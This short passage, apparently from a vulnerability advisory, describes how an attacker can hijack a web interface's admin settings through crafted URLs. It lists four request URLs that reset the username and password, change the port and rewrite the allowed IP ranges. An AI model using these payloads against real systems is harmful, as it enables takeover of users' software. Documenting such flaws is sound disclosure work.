To change administrative credentials and settings, an attacker can send malicious URLs such as http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin, http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin, http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096, and http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1/24.
